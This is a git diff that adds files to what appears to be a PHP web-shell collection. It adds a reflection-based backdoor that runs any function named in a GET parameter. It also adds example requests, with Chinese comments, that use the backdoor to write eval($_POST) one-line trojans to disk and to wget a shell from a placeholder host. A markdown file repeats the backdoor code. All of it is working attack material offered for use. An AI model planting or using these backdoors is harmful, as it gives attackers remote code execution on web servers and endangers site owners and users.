diff --git a/php/p2j/11.jpg b/php/p2j/11.jpg
new file mode 100644
index 0000000..72b062d
Binary files /dev/null and b/php/p2j/11.jpg differ
diff --git a/php/p2j/PHP reflection.php.txt b/php/p2j/PHP reflection.php.txt
new file mode 100644
index 0000000..3d31bab
--- /dev/null
+++ b/php/p2j/PHP reflection.php.txt	
@@ -0,0 +1,15 @@
+<?php
+    $func = new ReflectionFunction($_GET[m]);
+    echo $func->invokeArgs(array($_GET[c],$_GET[id]));
+?>
+
+
+
+http://xxx.xxx/md.php?m=file_put_contents&c=test11.php&id=<?@eval($_POST[c]);?> //写入一句话马 for linux
+http://xx.xxx/md.php?m=file_put_contents&c=test11.php&id=<?php eval($_POST[c]);?> //写入一句话马 for windows
+
+
+
+mu201405.php?m=system&c=echo ^<?php eval^($_POST[c]^);?^> >test11.php //在当前目录下面生成一句话马 for windows
+
+news.php?m=system&c=wget http://xxx.xxx/igenus/images/suffix/test11.php //当前目录下载一句话马 for linux
\ No newline at end of file
diff --git a/php/p2j/PHP反射后门.php.md b/php/p2j/PHP反射后门.php.md
new file mode 100644
index 0000000..d055be7
--- /dev/null
+++ b/php/p2j/PHP反射后门.php.md
@@ -0,0 +1,8 @@
+
+
+<img src="11.jpg" alt="alt text" title="Title" />
+
+<?php
+    $func = new ReflectionFunction($_GET[m]);
+    echo $func->invokeArgs(array($_GET[c]));
+?>
\ No newline at end of file